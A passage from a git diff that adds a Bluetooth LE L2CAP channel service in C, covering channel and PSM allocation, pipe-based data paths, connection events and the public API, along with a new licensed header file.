CHANNEL_DISCONNECTED_EVT + */ + struct channel_disconnected_evt_param { + bt_address_t addr; + uint16_t cid; + uint32_t reason; + } channel_disconnected; + + /** + * @brief PACKET_RECEVIED_EVT + */ + struct packet_received_evt_param { + bt_address_t addr; + uint16_t cid; + uint16_t size; + uint8_t* data; + } packet_received; + + /** + * @brief PACKET_SENT_EVT + */ + struct packet_sent_evt_param { + bt_address_t addr; + uint16_t cid; + } packet_sent; + }; + +} l2cap_msg_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static l2cap_manager_t g_l2cap_manager; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static inline void l2cap_notify_connected(l2cap_channel_t* channel, l2cap_connect_params_t* param) +{ + l2cap_callbacks_t* cbs; + + if (channel && channel->app_handle && channel->app_handle->remote && channel->app_handle->callbacks) { + cbs = (l2cap_callbacks_t*)channel->app_handle->callbacks; + if (cbs->on_connected) { + cbs->on_connected(channel->app_handle->remote, param); + } + } else { + BT_LOGE("%s, channel or callbacks is NULL", __func__); + } +} + +static inline void l2cap_notify_disconnected(l2cap_channel_t* channel, uint32_t reason) +{ + l2cap_callbacks_t* cbs; + + if (channel && channel->app_handle && channel->app_handle->remote && channel->app_handle->callbacks) { + cbs = (l2cap_callbacks_t*)channel->app_handle->callbacks; + if (cbs->on_disconnected) { + cbs->on_disconnected(channel->app_handle->remote, &channel->addr, channel->id, reason); + } + } else { + BT_LOGE("%s, channel or callbacks is NULL", __func__); + } +} + +static l2cap_channel_t* alloc_free_channel(void* handle, bt_address_t* addr, uint16_t psm, l2cap_channel_role_t role) +{ + int id; + l2cap_channel_t* channel; + + if (addr && role == L2CAP_CHANNEL_ROLE_SERVER_LISTEN) { + // this check is not necessary? + BT_LOGW("%s, server channel remote addr is not NULL", __func__); + return NULL; + } + + id = index_alloc(g_l2cap_manager.id_allocator); + if (id < 0) { + BT_LOGE("%s, alloc l2cap channel id failed", __func__); + return NULL; + } + + channel = (l2cap_channel_t*)calloc(1, sizeof(l2cap_channel_t)); + if (!channel) { + BT_LOGE("%s, alloc l2cap channel failed", __func__); + index_free(g_l2cap_manager.id_allocator, id); + return NULL; + } + + channel->app_handle = (remote_callback_t*)handle; + if (addr) + memcpy(&channel->addr, addr, sizeof(bt_address_t)); // copy address + + channel->psm = psm; + channel->id = id; + channel->role = role; + channel->channel_connected = false; + channel->proxy_connected = false; + + bt_list_add_tail(g_l2cap_manager.channel_list, (void*)channel); + + return channel; +} + +static bool check_psm_available(uint16_t psm) +{ + if (psm < LE_PSM_DYNAMIC_MIN || psm >= LE_PSM_DYNAMIC_MIN + L2CAP_LE_DYNAMIC_PSM_NUM) { + BT_LOGE("%s, psm %" PRIx16 " is not support", __func__, psm); + return false; + } + + return !(g_l2cap_manager.psm_map & PSM_BIT_MASK(psm)); +} + +static uint16_t alloc_le_dynamic_psm(void) +{ + uint16_t psm; + + // Reserved PSM range: 0x0080 - 0x0089 + for (psm = LE_PSM_DYNAMIC_MIN + 10; psm < LE_PSM_DYNAMIC_MIN + L2CAP_LE_DYNAMIC_PSM_NUM; psm++) { + if (!(g_l2cap_manager.psm_map & PSM_BIT_MASK(psm))) { + g_l2cap_manager.psm_map |= PSM_BIT_MASK(psm); + BT_LOGI("%s, alloc psm %" PRIx16, __func__, psm); + return psm; + } + } + + BT_LOGE("%s, no dynamic PSM available", __func__); + return 0; +} + +static l2cap_channel_t* find_l2cap_channel_by_cid(uint16_t cid) +{ + bt_list_node_t* node; + bt_list_t* list = g_l2cap_manager.channel_list; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + l2cap_channel_t* channel = (l2cap_channel_t*)bt_list_node(node); + if (channel->local_cid == cid) { + return channel; + } + } + + return NULL; +} + +static l2cap_channel_t* find_l2cap_channel_by_pipe(euv_pipe_t* pipe) +{ + bt_list_node_t* node; + bt_list_t* list = g_l2cap_manager.channel_list; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + l2cap_channel_t* channel = (l2cap_channel_t*)bt_list_node(node); + if (channel->pipe == pipe) { + return channel; + } + } + + return NULL; +} + +static l2cap_channel_t* find_l2cap_channel_by_id(uint16_t id) +{ + bt_list_node_t* node; + bt_list_t* list = g_l2cap_manager.channel_list; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + l2cap_channel_t* channel = (l2cap_channel_t*)bt_list_node(node); + if (channel->id == id) { + return channel; + } + } + + return NULL; +} + +static l2cap_channel_t* find_l2cap_channel_by_conn_param(bt_address_t* addr, uint16_t psm, + l2cap_channel_role_t role, bool is_connected) +{ + bt_list_node_t* node; + bt_list_t* list = g_l2cap_manager.channel_list; + + switch (role) { + case L2CAP_CHANNEL_ROLE_CLIENT: { + // client find by psm and addr + if (!addr) { + BT_LOGE("%s, invalid arg", __func__); + return NULL; + } + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + l2cap_channel_t* channel = (l2cap_channel_t*)bt_list_node(node); + if (channel->psm == psm + && channel->role == role + && channel->channel_connected == is_connected + && !bt_addr_compare(&channel->addr, addr)) { + return channel; + } + } + break; + } + case L2CAP_CHANNEL_ROLE_SERVER_LISTEN: + case L2CAP_CHANNEL_ROLE_SERVER_ACCEPT: { + // server and accept find by psm + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + l2cap_channel_t* channel = (l2cap_channel_t*)bt_list_node(node); + if (channel->psm == psm + && channel->role == role + && channel->channel_connected == is_connected) { + return channel; + } + } + break; + } + default: { + BT_LOGE("%s, invalid arg", __func__); + break; + } + } + + return NULL; +} + +static void free_le_dynamic_psm(uint16_t psm) +{ + l2cap_channel_t* channel; + + // check psm is valid. + if (psm < LE_PSM_DYNAMIC_MIN + || psm >= LE_PSM_DYNAMIC_MIN + L2CAP_LE_DYNAMIC_PSM_NUM) { + // invalid le dynamic psm + return; + } + + channel = find_l2cap_channel_by_conn_param(NULL, psm, L2CAP_CHANNEL_ROLE_SERVER_LISTEN, false); + if (channel) { + BT_LOGI("%s, psm %" PRIu16 " is used to listen", __func__, psm); + return; + } + + channel = find_l2cap_channel_by_conn_param(NULL, psm, L2CAP_CHANNEL_ROLE_SERVER_ACCEPT, true); + if (channel) { + BT_LOGI("%s, psm %" PRIu16 " is used to accept", __func__, psm); + return; + } + + BT_LOGI("%s, psm %" PRIu16 " is free", __func__, psm); + g_l2cap_manager.psm_map &= ~PSM_BIT_MASK(psm); + bt_sal_l2cap_stop_listen_channel(psm); +} + +static void free_l2cap_channel(void* context) +{ + uint16_t psm; + l2cap_channel_t* channel = (l2cap_channel_t*)context; + + BT_LOGD("%s, channel id: %" PRIu16, __func__, channel->id); + if (!channel) { + BT_LOGE("%s, channel is NULL", __func__); + return; + } + + if (channel->pipe) + euv_pipe_close(channel->pipe); + + index_free(g_l2cap_manager.id_allocator, channel->id); + + if (channel->role != L2CAP_CHANNEL_ROLE_CLIENT) { + psm = channel->psm; + channel->psm = 0; // remove this channel's psm + BT_LOGD("%s, try to free le dynamic psm 0x%" PRIx16, __func__, psm); + free_le_dynamic_psm(psm); + } + + free(channel); +} + +static void l2cap_cleanup_app(void* app_handle) +{ + bt_list_node_t* node; + bt_list_node_t* next; + bt_list_t* list; + + // remove all channels + BT_LOGD("%s, remove all L2CAP channels belong to app 0x%p", __func__, app_handle); + list = g_l2cap_manager.channel_list; + for (node = bt_list_head(list); node != NULL; node = next) { + l2cap_channel_t* channel = (l2cap_channel_t*)bt_list_node(node); + next = bt_list_next(list, node); + if (channel->app_handle == app_handle) { + BT_LOGD("%s, remove L2CAP channel(id: %" PRIu16 "/ cid: 0x%" PRIx16 ") from list", + __func__, channel->id, channel->local_cid); + + if (channel->channel_connected) { + bt_sal_l2cap_disconnect_channel(channel->local_cid); // disconnect channel + } + + bt_list_remove_node(list, node); + } + } +} + +static void l2cap_receive_data_from_app(euv_pipe_t* pipe, const uint8_t* buf, ssize_t size) +{ + l2cap_channel_t* channel; + + if (!pipe || !buf) { + BT_LOGE("%s, invalid arg", __func__); + return; + } + + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + channel = find_l2cap_channel_by_pipe(pipe); + if (!channel) { + BT_LOGE("%s, find L2CAP channel null", __func__); + goto unlock; + } + + if (!size) { + // maybe data path disconnect. + BT_LOGD("read size is 0"); + } else if (size < 0) { + BT_LOGD("%s, data path for L2CAP connnection %" PRIu16 " close, reason: %zd", __func__, channel->id, size); + if (channel->channel_connected) { + bt_sal_l2cap_disconnect_channel(channel->local_cid); + } + + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); + } else { + if (!channel->channel_connected) { + BT_LOGW("%s, L2CAP channel not connected", __func__); + } else { + bt_sal_l2cap_send_packet(channel->local_cid, (uint8_t*)buf, size); + if (!(--channel->tx_quota)) { + euv_pipe_read_stop(channel->pipe); + } + } + } + +unlock: + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); +} + +static void proxy_connected_cb(euv_pipe_t* pipe, int status, void* data) +{ + int ret; + l2cap_channel_t* channel; + + if (!pipe || !data) { + BT_LOGE("%s, invalid arg", __func__); + return; + } + + channel = (l2cap_channel_t*)data; + if (status) { + BT_LOGE("%s, data path for L2CAP connnection %" PRIu16 " establish failed: %s", __func__, channel->id, uv_strerror(status)); + goto fail; + } + + BT_LOGI("%s, data path for L2CAP connnection %" PRIu16 " established", __func__, channel->id); + +#ifdef CONFIG_NET_RPMSG + euv_pipe_close2(pipe); +#endif + + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + channel->proxy_connected = true; + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); + + // start read for monitoring pipe + ret = euv_pipe_read_start(channel->pipe, L2CAP_PIPE_DEF_READ_SIZE, l2cap_receive_data_from_app, NULL); + if (ret) { + BT_LOGE("%s, start read pipe failed", __func__); + goto fail; + } + + return; + +fail: + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); +} + +static bool prepare_data_path(l2cap_channel_t* channel) +{ + snprintf(channel->proxy_name, sizeof(channel->proxy_name), "%s-%d", L2CAP_SRVPIPE_NAME_PREF, channel->id); + channel->pipe = euv_pipe_open(get_service_uv_loop(), channel->proxy_name, proxy_connected_cb, channel); + if (!channel->pipe) { + BT_LOGE("%s, open server pipe %s failed", __func__, channel->proxy_name); + return false; + } + + BT_LOGD("%s, open server pipe %s success", __func__, channel->proxy_name); + return true; +} + +static void euv_write_complete(euv_pipe_t* handle, uint8_t* buf, int status) +{ + free(buf); +} + +static void handle_cid_allocated(bt_address_t* addr, uint16_t psm, uint16_t cid) +{ + l2cap_channel_t* channel; + + // handle_cid_allocated is for client only. + channel = find_l2cap_channel_by_conn_param(addr, psm, L2CAP_CHANNEL_ROLE_CLIENT, false); + if (channel) { + channel->local_cid = cid; + BT_LOGI("L2CAP connection %" PRIu16 " get local CID: 0x%" PRIx16, channel->id, cid); + } else { + BT_LOGE("record allocated CID: 0x%x failed!", cid); + } +} + +static void handle_channel_conneted(bt_address_t* addr, l2cap_channel_param_t* param) +{ + int ret; + l2cap_channel_t* channel; + l2cap_channel_t* new_listen_channel = NULL; + l2cap_connect_params_t conn_param = { .listen_id = INVALID_L2CAP_LISTEN_ID }; + l2cap_channel_role_t role; + + if (!addr || !param) { + BT_LOGE("%s, invalid arg", __func__); + return; + } + + role = param->is_client ? L2CAP_CHANNEL_ROLE_CLIENT : L2CAP_CHANNEL_ROLE_SERVER_LISTEN; + channel = find_l2cap_channel_by_conn_param(addr, param->psm, role, false); + if (!channel) { + BT_LOGE("%s, find L2CAP channel null, local cid: 0x%" PRIx16, __func__, param->local_cid); + bt_sal_l2cap_disconnect_channel(param->local_cid); + + return; + } + + if (!channel->proxy_connected) { + BT_LOGE("L2CAP channel(id:%" PRIu16 "/cid:0x %" PRIx16 ") data path is not prepared", channel->id, channel->local_cid); + bt_sal_l2cap_disconnect_channel(channel->local_cid); + return; + } + + if (role == L2CAP_CHANNEL_ROLE_SERVER_LISTEN) { + memcpy(&channel->addr, addr, sizeof(channel->addr)); + channel->local_cid = param->local_cid; + channel->role = L2CAP_CHANNEL_ROLE_SERVER_ACCEPT; + new_listen_channel = alloc_free_channel((void*)channel->app_handle, NULL, channel->psm, L2CAP_CHANNEL_ROLE_SERVER_LISTEN); + if (!new_listen_channel) { + BT_LOGE("%s, allocate new listen channel for psm: %" PRIx16 "failed", __func__, channel->psm); + return; + } + + if (!prepare_data_path(new_listen_channel)) { + BT_LOGE("%s, prepare data path failed", __func__); + bt_list_remove(g_l2cap_manager.channel_list, new_listen_channel); + return; + } + } + + memcpy(&channel->incoming, ¶m->incoming, sizeof(channel->incoming)); + memcpy(&channel->outgoing, ¶m->outgoing, sizeof(channel->outgoing)); + channel->tx_mtu = MIN(param->outgoing.mtu, CONFIG_BLUETOOTH_L2CAP_OUTGOING_MTU); + channel->tx_quota = L2CAP_TX_QUOTA; // TODO: need to adjust quota according to mtu and memory + + // restart read pipe to adjust mtu + ret = euv_pipe_read_stop(channel->pipe); + if (ret != 0) { + BT_LOGE("L2CAP channel(id: %" PRIu16 "/cid: 0x%" PRIx16 ") read stop failed!", channel->id, channel->local_cid); + bt_sal_l2cap_disconnect_channel(channel->local_cid); + return; + } + + ret = euv_pipe_read_start(channel->pipe, channel->tx_mtu, l2cap_receive_data_from_app, NULL); + if (ret != 0) { + BT_LOGE("L2CAP channel(id: %" PRIu16 "/cid: 0x%" PRIx16 ") read start failed!", channel->id, channel->local_cid); + bt_sal_l2cap_disconnect_channel(channel->local_cid); + return; + } + + BT_LOGI("L2CAP channel(id: %" PRIu16 "/cid: 0x%" PRIx16 ") connected", channel->id, channel->local_cid); + BT_LOGD("L2CAP channel(id: %" PRIu16 "/cid: 0x%" PRIx16 ") Tx mtu: %" PRIu16 ", Tx quota: %" PRIu16, + channel->id, channel->local_cid, channel->tx_mtu, channel->tx_quota); + channel->channel_connected = true; + + // notify app + memcpy(&conn_param.addr, &channel->addr, sizeof(conn_param.addr)); + conn_param.transport = channel->transport; + conn_param.cid = channel->local_cid; + conn_param.psm = channel->psm; + conn_param.incoming_mtu = channel->incoming.mtu; + conn_param.outgoing_mtu = channel->outgoing.mtu; + conn_param.id = channel->id; + if (new_listen_channel) { + conn_param.listen_id = new_listen_channel->id; + strlcpy(conn_param.proxy_name, new_listen_channel->proxy_name, sizeof(new_listen_channel->proxy_name)); + } + + l2cap_notify_connected(channel, &conn_param); +} + +static void handle_channel_disconneted(bt_address_t* addr, uint16_t cid, uint32_t reason) +{ + l2cap_channel_t* channel; + char addr_str[BT_ADDR_STR_LENGTH]; + + if (!addr) { + BT_LOGE("%s, invalid arg", __func__); + return; + } + + bt_addr_ba2str(addr, addr_str); + BT_LOGD("L2CAP channel(cid:0x%" PRIx16 ") disconnected, remote addr:%s, reason: %" PRIu32, cid, addr_str, reason); + // Note: + // If clinet get cid fail during connecing, it won't be removed in this callback. + channel = find_l2cap_channel_by_cid(cid); + if (!channel) { + BT_LOGE("%s, find L2CAP channel null, local cid: 0x%" PRIx16, __func__, cid); + return; + } + + BT_LOGI("L2CAP channel(id:%" PRIu16 "/cid:0x%" PRIx16 ") disconnected, reason: 0x%" PRIx32 "", channel->id, cid, reason); + // Notice: + // The app will be aware of the data path disconnected first, pay attention to multithreading conflicts. + l2cap_notify_disconnected(channel, reason); + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); +} + +static void handle_packet_received(bt_address_t* addr, uint16_t cid, uint8_t* packet_data, uint16_t packet_size) +{ + l2cap_channel_t* channel; + + channel = find_l2cap_channel_by_cid(cid); + if (channel && channel->pipe) { + int ret = euv_pipe_write(channel->pipe, packet_data, packet_size, euv_write_complete); + if (ret != 0) { + BT_LOGE("L2CAP channel(id:%" PRIu16 "/cid:0x%" PRIx16 ") write failed!", channel->id, channel->local_cid); + euv_pipe_close(channel->pipe); + channel->proxy_connected = false; + channel->pipe = NULL; + bt_sal_l2cap_disconnect_channel(channel->local_cid); + } + } +} + +static void handle_packet_sent(bt_address_t* addr, uint16_t cid) +{ + l2cap_channel_t* channel; + + channel = find_l2cap_channel_by_cid(cid); + if (!channel) { + BT_LOGE("%s, find L2CAP channel null, local cid: 0x%" PRIx16, __func__, cid); + return; + } + + if (channel->pipe && !channel->tx_quota) { + euv_pipe_read_start(channel->pipe, channel->tx_mtu, l2cap_receive_data_from_app, NULL); + } + + channel->tx_quota++; +} + +static void handle_l2cap_event(void* data) +{ + l2cap_msg_t* msg = (l2cap_msg_t*)data; + if (!msg) { + return; + } + + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + + switch (msg->event) { + case CID_ALLOCATED_EVT: + handle_cid_allocated(&msg->cid_allocated.addr, + msg->cid_allocated.psm, + msg->cid_allocated.cid); + break; + case CHANNEL_CONNECTED_EVT: + handle_channel_conneted(&msg->channel_connected.addr, &msg->channel_connected.param); + break; + case CHANNEL_DISCONNECTED_EVT: + handle_channel_disconneted(&msg->channel_disconnected.addr, + msg->channel_disconnected.cid, + msg->channel_disconnected.reason); + break; + case PACKET_RECEVIED_EVT: + handle_packet_received(&msg->packet_received.addr, + msg->packet_received.cid, + msg->packet_received.data, + msg->packet_received.size); + break; + case PACKET_SENT_EVT: + handle_packet_sent(&msg->packet_sent.addr, + msg->packet_sent.cid); + break; + default: + break; + } + + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); + free(msg); +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void l2cap_on_cid_allocated(bt_address_t* addr, uint16_t psm, uint16_t cid) +{ + l2cap_msg_t* msg = malloc(sizeof(l2cap_msg_t)); + if (!msg) { + return; + } + + msg->event = CID_ALLOCATED_EVT; + memcpy(&msg->cid_allocated.addr, addr, sizeof(bt_address_t)); + msg->cid_allocated.psm = psm; + msg->cid_allocated.cid = cid; + do_in_service_loop(handle_l2cap_event, msg); +} + +void l2cap_on_channel_connected(bt_address_t* addr, l2cap_channel_param_t* param) +{ + l2cap_msg_t* msg = malloc(sizeof(l2cap_msg_t)); + if (!msg) { + return; + } + + msg->event = CHANNEL_CONNECTED_EVT; + memcpy(&msg->channel_connected.addr, addr, sizeof(msg->channel_connected.addr)); + memcpy(&msg->channel_connected.param, param, sizeof(msg->channel_connected.param)); + do_in_service_loop(handle_l2cap_event, msg); +} + +void l2cap_on_channel_disconnected(bt_address_t* addr, uint16_t cid, uint32_t reason) +{ + l2cap_msg_t* msg = malloc(sizeof(l2cap_msg_t)); + if (!msg) { + return; + } + + msg->event = CHANNEL_DISCONNECTED_EVT; + memcpy(&msg->channel_disconnected.addr, addr, sizeof(msg->channel_disconnected.addr)); + msg->channel_disconnected.cid = cid; + msg->channel_disconnected.reason = reason; + do_in_service_loop(handle_l2cap_event, msg); +} + +void l2cap_on_packet_received(bt_address_t* addr, uint16_t cid, uint8_t* packet_data, uint16_t packet_size) +{ + l2cap_msg_t* msg = malloc(sizeof(l2cap_msg_t)); + if (!msg) { + return; + } + + msg->packet_received.data = malloc(packet_size); + if (!msg->packet_received.data) { + free(msg); + return; + } + + msg->event = PACKET_RECEVIED_EVT; + memcpy(&msg->packet_received.addr, addr, sizeof(msg->packet_received.addr)); + msg->packet_received.cid = cid; + msg->packet_received.size = packet_size; + memcpy(msg->packet_received.data, packet_data, packet_size); + do_in_service_loop(handle_l2cap_event, msg); +} + +void l2cap_on_packet_sent(bt_address_t* addr, uint16_t cid) +{ + l2cap_msg_t* msg = malloc(sizeof(l2cap_msg_t)); + if (!msg) { + return; + } + + msg->event = PACKET_SENT_EVT; + memcpy(&msg->packet_sent.addr, addr, sizeof(msg->packet_sent.addr)); + msg->packet_sent.cid = cid; + do_in_service_loop(handle_l2cap_event, msg); +} + +void* l2cap_register_callbacks(void* remote, const l2cap_callbacks_t* callbacks) +{ + if (!adapter_is_le_enabled()) { + BT_LOGE("%s, adapter is not enabled", __func__); + return NULL; + } + + return bt_remote_callbacks_register(g_l2cap_manager.callbacks, remote, (void*)callbacks); +} + +bool l2cap_unregister_callbacks(void** remote, void* cookie) +{ + if (!adapter_is_le_enabled()) { + BT_LOGI("%s, adapter is not enabled", __func__); + return true; + } + + if (!cookie) { + BT_LOGE("%s, invalid arg", __func__); + return false; + } + + l2cap_cleanup_app((void*)cookie); + + return bt_remote_callbacks_unregister(g_l2cap_manager.callbacks, remote, (remote_callback_t*)cookie); +} + +bt_status_t l2cap_listen_channel(void* handle, l2cap_config_option_t* option) +{ + bt_status_t status; + l2cap_channel_t* channel; + + if ((!handle) || (!option)) { + return BT_STATUS_PARM_INVALID; + } + + CHECK_ADAPTER_ENABLED(BT_STATUS_NOT_ENABLED); + + if (option->transport != BT_TRANSPORT_BLE) { + // TBD: support BR/EDR later + BT_LOGW("%s, only support LE transport", __func__); + return BT_STATUS_UNSUPPORTED; + } + + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + if (option->psm == 0) { + option->psm = alloc_le_dynamic_psm(); + if (option->psm == 0) { + BT_LOGW("%s, allocate psm failed", __func__); + status = BT_STATUS_NOMEM; + goto out; + } + } else { + if (check_psm_available(option->psm)) { + g_l2cap_manager.psm_map |= PSM_BIT_MASK(option->psm); + } else { + BT_LOGE("%s, psm: 0x%" PRIx16 " is not available", __func__, option->psm); + status = BT_STATUS_NOMEM; + goto out; + } + } + + channel = alloc_free_channel(handle, NULL, option->psm, L2CAP_CHANNEL_ROLE_SERVER_LISTEN); + if (!channel) { + status = BT_STATUS_NOMEM; + goto out; + } + + if (!prepare_data_path(channel)) { + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); + status = BT_STATUS_NOMEM; // maybe use other status + goto out; + } + + BT_LOGI("%s, L2CAP(id: %" PRIu16 ", psm: 0x%" PRIx16 ") listen", __func__, channel->id, channel->psm); + option->id = channel->id; + strlcpy(option->proxy_name, channel->proxy_name, sizeof(option->proxy_name)); + status = bt_sal_l2cap_listen_channel(option); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("%s, L2CAP(id: %" PRIu16 ", psm: 0x%" PRIx16 " listen failed", __func__, channel->id, channel->psm); + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); + } + +out: + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); + + return status; +} + +bt_status_t l2cap_connect_channel(void* handle, bt_address_t* addr, l2cap_config_option_t* option) +{ + bt_status_t status; + l2cap_channel_t* channel; + char addr_str[BT_ADDR_STR_LENGTH]; + + if ((!handle) || (!addr) || (!option)) { + return BT_STATUS_PARM_INVALID; + } + + CHECK_ADAPTER_ENABLED(BT_STATUS_NOT_ENABLED); + + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + channel = alloc_free_channel(handle, addr, option->psm, L2CAP_CHANNEL_ROLE_CLIENT); + if (!channel) { + status = BT_STATUS_NOMEM; + goto out; + } + + if (!prepare_data_path(channel)) { + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); + status = BT_STATUS_NOMEM; // maybe use other status + goto out; + } + + bt_addr_ba2str(addr, addr_str); + BT_LOGI("%s, L2CAP(id: %" PRIu16 ", psm: 0x%" PRIx16 ") connect remote: %s", __func__, channel->id, channel->psm, addr_str); + option->id = channel->id; + strlcpy(option->proxy_name, channel->proxy_name, sizeof(option->proxy_name)); + status = bt_sal_l2cap_connect_channel(addr, option); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("%s, L2CAP(id: %" PRIu16 ", psm: 0x%" PRIx16 ") connect failed", __func__, channel->id, channel->psm); + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); + } else { + // TBD: timeout for connection initiation. + } + +out: + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); + + return status; +} + +bt_status_t l2cap_disconnect_channel(void* handle, uint16_t id) +{ + bt_status_t status; + l2cap_channel_t* channel; + + CHECK_ADAPTER_ENABLED(BT_STATUS_NOT_ENABLED); + + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + channel = find_l2cap_channel_by_id(id); + if (!channel) { + status = BT_STATUS_NOT_FOUND; + BT_LOGE("%s, L2CAP(id: %" PRIu16 ") not found", __func__, id); + goto exit; + } + + if (channel->app_handle != handle) { + status = BT_STATUS_UNHANDLED; + BT_LOGW("%s, L2CAP(id: %" PRIu16 ") not belong to this app", __func__, id); + goto exit; + } + + // TBD: add channel stm: connecting/listening, connected, disconnecting, disconnected + if (!channel->local_cid) { + // bug: if cid not allocated, disconnect failed + status = BT_STATUS_NOT_READY; + BT_LOGE("%s, L2CAP(id: %" PRIu16 ") not connected", __func__, id); + goto exit; + } + + BT_LOGI("%s, L2CAP(id: %" PRIu16 ", cid: 0x%" PRIx16 ") disconnect", __func__, id, channel->local_cid); + status = bt_sal_l2cap_disconnect_channel(channel->local_cid); + +exit: + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); + return status; +} + +bt_status_t l2cap_stop_listen_channel(void* handle, bt_transport_t transport, uint16_t psm) +{ + bt_status_t status = BT_STATUS_SUCCESS; + l2cap_channel_t* channel; + + CHECK_ADAPTER_ENABLED(BT_STATUS_NOT_ENABLED); + + if (transport != BT_TRANSPORT_BLE) { + // TBD: support BR/EDR later + BT_LOGW("%s, only support LE transport", __func__); + return BT_STATUS_UNSUPPORTED; + } + + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + channel = find_l2cap_channel_by_conn_param(NULL, psm, L2CAP_CHANNEL_ROLE_SERVER_LISTEN, false); + if (!channel) { + status = BT_STATUS_NOT_FOUND; + BT_LOGE("%s, L2CAP(psm: 0x%" PRIx16 ") not found", __func__, psm); + goto exit; + } + + if (channel->app_handle != handle) { + status = BT_STATUS_UNHANDLED; + BT_LOGW("%s, L2CAP(id: %" PRIu16 ") not belong to this app", __func__, channel->id); + goto exit; + } + + BT_LOGI("%s, L2CAP(id: %" PRIu16 ", psm: 0x%" PRIx16 ") stop listen", __func__, channel->id, channel->psm); + bt_list_remove(g_l2cap_manager.channel_list, (void*)channel); // free listen channel + +exit: + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); + return status; +} + +// TBD: managed by service_manager +bt_status_t l2cap_service_init(void) +{ + pthread_mutexattr_t attr; + + memset(&g_l2cap_manager, 0, sizeof(g_l2cap_manager)); + + g_l2cap_manager.callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + if (!g_l2cap_manager.callbacks) { + return BT_STATUS_NOMEM; + } + + g_l2cap_manager.channel_list = bt_list_new(free_l2cap_channel); + if (!g_l2cap_manager.channel_list) { + bt_callbacks_list_free(g_l2cap_manager.callbacks); + return BT_STATUS_NOMEM; + } + + g_l2cap_manager.id_allocator = index_allocator_create(L2CAP_CHANNEL_MAX_NUM); + g_l2cap_manager.psm_map = 0; + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&g_l2cap_manager.l2cap_lock, &attr); + + return BT_STATUS_SUCCESS; +} + +void l2cap_service_cleanup(void) +{ + pthread_mutex_lock(&g_l2cap_manager.l2cap_lock); + + bt_callbacks_list_free(g_l2cap_manager.callbacks); + g_l2cap_manager.callbacks = NULL; + bt_list_free(g_l2cap_manager.channel_list); + g_l2cap_manager.channel_list = NULL; + index_allocator_delete(&g_l2cap_manager.id_allocator); + g_l2cap_manager.psm_map = 0; + pthread_mutex_unlock(&g_l2cap_manager.l2cap_lock); + + pthread_mutex_destroy(&g_l2cap_manager.l2cap_lock); +} diff --git a/service/src/l2cap_service.h b/service/src/l2cap_service.h new file mode 100644 index 0000000000000000000000000000000000000000..a048c3627d78a11947384eb0fb8840336610178d --- /dev/null +++ b/service/src/l2cap_service.h @@ -0,0 +1,55 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_L2CAP_SERVICE_H_ +#define __BT_L2CAP_SERVICE_H_ + +#include <stdint.h> + +#include "bt_l2cap.h" + +typedef struct { + uint16_t mtu; + uint16_t le_mps; + uint16_t init_credits; +} l2cap_endpoint_param_t; + +typedef struct { + uint16_t local_cid; + uint16_t remote_cid; + uint16_t psm; + bool is_client; + bt_transport_t transport; + l2cap_endpoint_param_t incoming; + l2cap_endpoint_param_t outgoing; +} l2cap_channel_param_t; + +void l2cap_on_cid_allocated(bt_address_t* addr, uint16_t cid, uint16_t psm); +void l2cap_on_channel_connected(bt_address_t* addr, l2cap_channel_param_t* param); +void l2cap_on_channel_disconnected(bt_address_t* addr, uint16_t cid, uint32_t reason); +void l2cap_on_packet_received(bt_address_t* addr, uint16_t cid, uint8_t* packet_data, uint16_t packet_size); +void l2cap_on_packet_sent(bt_address_t* addr, uint16_t cid); + +void* l2cap_register_callbacks(void* remote, const l2cap_callbacks_t* callbacks); +bool l2cap_unregister_callbacks(void** remote, void* cookie); +bt_status_t l2cap_listen_channel(void* handle, l2cap_config_option_t* option); +bt_status_t l2cap_connect_channel(void* handle, bt_address_t* addr, l2cap_config_option_t* option); +bt_status_t l2cap_disconnect_channel(void* handle, uint16_t id); +bt_status_t l2cap_stop_listen_channel(void* handle, bt_transport_t transport, uint16_t psm); + +bt_status_t l2cap_service_init(void); +void l2cap_service_cleanup(void); + +#endif /* 